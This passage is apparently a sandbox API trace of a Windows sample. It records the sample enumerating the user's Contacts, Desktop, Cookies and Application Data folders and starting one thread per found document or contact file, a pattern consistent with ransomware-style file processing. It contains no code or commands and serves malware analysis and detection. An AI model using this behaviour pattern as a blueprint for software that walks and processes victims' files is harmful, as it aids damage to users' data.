(in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0046.211] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0046.211] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414a40) returned 1 [0046.211] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413ff0) returned 1 Thread: id = 171 os_tid = 0x11c [0046.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420d98 [0046.212] wcscpy (in: _Dest=0x420d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data" [0046.212] wcscat (in: _Dest=0x420d98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\" [0046.212] wcscat (in: _Dest=0x420d98, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*" [0046.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0046.212] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.212] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0046.212] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d98) returned 1 [0046.213] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41bf20) returned 1 Thread: id = 172 os_tid = 0x320 [0046.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a610 [0046.215] wcscpy (in: _Dest=0x44a610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0046.215] wcscat (in: _Dest=0x44a610, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0046.215] wcscat (in: _Dest=0x44a610, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*" [0046.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0046.215] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0046.215] wcscmp (_String1=".", _String2=".") returned 0 [0046.215] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.215] wcscmp (_String1="..", _String2=".") returned 1 [0046.215] wcscmp (_String1="..", _String2="..") returned 0 [0046.215] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0046.215] wcscmp (_String1="Aclviho ASldjfl.contact", _String2=".") returned 1 [0046.215] wcscmp (_String1="Aclviho ASldjfl.contact", _String2="..") returned 1 [0046.215] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446990 [0046.215] wcscpy (in: _Dest=0x446990, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0046.215] wcscat (in: _Dest=0x446990, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0046.215] wcscat (in: _Dest=0x446990, _Source="Aclviho ASldjfl.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" [0046.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0046.216] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0046.216] wcscmp (_String1="Administrator.contact", _String2=".") returned 1 [0046.216] wcscmp (_String1="Administrator.contact", _String2="..") returned 1 [0046.216] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446a18 [0046.216] wcscpy (in: _Dest=0x446a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0046.216] wcscat (in: _Dest=0x446a18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0046.216] wcscat (in: _Dest=0x446a18, _Source="Administrator.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" [0046.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0046.217] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0046.217] wcscmp (_String1="asdlfk poopvy.contact", _String2=".") returned 1 [0046.217] wcscmp (_String1="asdlfk poopvy.contact", _String2="..") returned 1 [0046.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446aa0 [0046.218] wcscpy (in: _Dest=0x446aa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0046.218] wcscat (in: _Dest=0x446aa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0046.218] wcscat (in: _Dest=0x446aa0, _Source="asdlfk poopvy.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" [0046.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0046.218] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0046.219] wcscmp (_String1="chucu jadnvk.contact", _String2=".") returned 1 [0046.219] wcscmp (_String1="chucu jadnvk.contact", _String2="..") returned 1 [0046.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400198 [0046.219] wcscpy (in: _Dest=0x400198, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0046.219] wcscat (in: _Dest=0x400198, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0046.219] wcscat (in: _Dest=0x400198, _Source="chucu jadnvk.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" [0046.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0046.220] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.220] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.220] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.220] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0046.220] wcscmp (_String1="lulcit amkdfe.contact", _String2=".") returned 1 [0046.220] wcscmp (_String1="lulcit amkdfe.contact", _String2="..") returned 1 [0046.220] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446b28 [0046.220] wcscpy (in: _Dest=0x446b28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0046.220] wcscat (in: _Dest=0x446b28, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0046.220] wcscat (in: _Dest=0x446b28, _Source="lulcit amkdfe.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" [0046.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0046.221] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0046.221] wcscmp (_String1="sikvnb huvuib.contact", _String2=".") returned 1 [0046.221] wcscmp (_String1="sikvnb huvuib.contact", _String2="..") returned 1 [0046.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446bb0 [0046.221] wcscpy (in: _Dest=0x446bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0046.221] wcscat (in: _Dest=0x446bb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0046.221] wcscat (in: _Dest=0x446bb0, _Source="sikvnb huvuib.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" [0046.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0046.222] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0046.222] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0046.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0046.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a610) returned 1 [0046.222] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414048) returned 1 Thread: id = 173 os_tid = 0x7e8 [0046.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414048 [0046.225] wcscpy (in: _Dest=0x414048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0046.225] wcscat (in: _Dest=0x414048, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\" [0046.225] wcscat (in: _Dest=0x414048, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*" [0046.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0046.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.225] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0046.225] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414048) returned 1 [0046.225] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4140a0) returned 1 Thread: id = 174 os_tid = 0x414 [0046.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4140a0 [0046.226] wcscpy (in: _Dest=0x4140a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.226] wcscat (in: _Dest=0x4140a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.226] wcscat (in: _Dest=0x4140a0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*" [0046.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0046.226] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x92accae0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92accae0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0046.227] wcscmp (_String1=".", _String2=".") returned 0 [0046.227] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x92accae0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x92accae0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.227] wcscmp (_String1="..", _String2=".") returned 1 [0046.227] wcscmp (_String1="..", _String2="..") returned 0 [0046.227] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba61b00, ftCreationTime.dwHighDateTime=0x1d4c957, ftLastAccessTime.dwLowDateTime=0xa06df9b0, ftLastAccessTime.dwHighDateTime=0x1d4d050, ftLastWriteTime.dwLowDateTime=0xa06df9b0, ftLastWriteTime.dwHighDateTime=0x1d4d050, nFileSizeHigh=0x0, nFileSizeLow=0xd2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0u_TBOJ2F4.ots", cAlternateFileName="0U_TBO~1.OTS")) returned 1 [0046.227] wcscmp (_String1="0u_TBOJ2F4.ots", _String2=".") returned 1 [0046.227] wcscmp (_String1="0u_TBOJ2F4.ots", _String2="..") returned 1 [0046.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418cf8 [0046.227] wcscpy (in: _Dest=0x418cf8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.227] wcscat (in: _Dest=0x418cf8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.227] wcscat (in: _Dest=0x418cf8, _Source="0u_TBOJ2F4.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots" [0046.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0046.228] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618ebe90, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0x8a7310d0, ftLastAccessTime.dwHighDateTime=0x1d4d043, ftLastWriteTime.dwLowDateTime=0x8a7310d0, ftLastWriteTime.dwHighDateTime=0x1d4d043, nFileSizeHigh=0x0, nFileSizeLow=0xa771, dwReserved0=0x0, dwReserved1=0x0, cFileName="3wVlx.pps", cAlternateFileName="")) returned 1 [0046.228] wcscmp (_String1="3wVlx.pps", _String2=".") returned 1 [0046.228] wcscmp (_String1="3wVlx.pps", _String2="..") returned 1 [0046.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445eb0 [0046.228] wcscpy (in: _Dest=0x445eb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.228] wcscat (in: _Dest=0x445eb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.228] wcscat (in: _Dest=0x445eb0, _Source="3wVlx.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps" [0046.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0046.230] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbee3ae0, ftCreationTime.dwHighDateTime=0x1d4c54e, ftLastAccessTime.dwLowDateTime=0xf2efd500, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0xf2efd500, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x7af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="3yNKuYc6KCO5FB.odt", cAlternateFileName="3YNKUY~1.ODT")) returned 1 [0046.230] wcscmp (_String1="3yNKuYc6KCO5FB.odt", _String2=".") returned 1 [0046.230] wcscmp (_String1="3yNKuYc6KCO5FB.odt", _String2="..") returned 1 [0046.230] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400218 [0046.230] wcscpy (in: _Dest=0x400218, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.230] wcscat (in: _Dest=0x400218, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.230] wcscat (in: _Dest=0x400218, _Source="3yNKuYc6KCO5FB.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt" [0046.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0046.231] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976d3550, ftCreationTime.dwHighDateTime=0x1d4c98f, ftLastAccessTime.dwLowDateTime=0x839713e0, ftLastAccessTime.dwHighDateTime=0x1d4c7a3, ftLastWriteTime.dwLowDateTime=0x839713e0, ftLastWriteTime.dwHighDateTime=0x1d4c7a3, nFileSizeHigh=0x0, nFileSizeLow=0x6772, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ymvvRw1Ouah2f14.mp3", cAlternateFileName="6YMVVR~1.MP3")) returned 1 [0046.231] wcscmp (_String1="6ymvvRw1Ouah2f14.mp3", _String2=".") returned 1 [0046.231] wcscmp (_String1="6ymvvRw1Ouah2f14.mp3", _String2="..") returned 1 [0046.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400298 [0046.231] wcscpy (in: _Dest=0x400298, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" 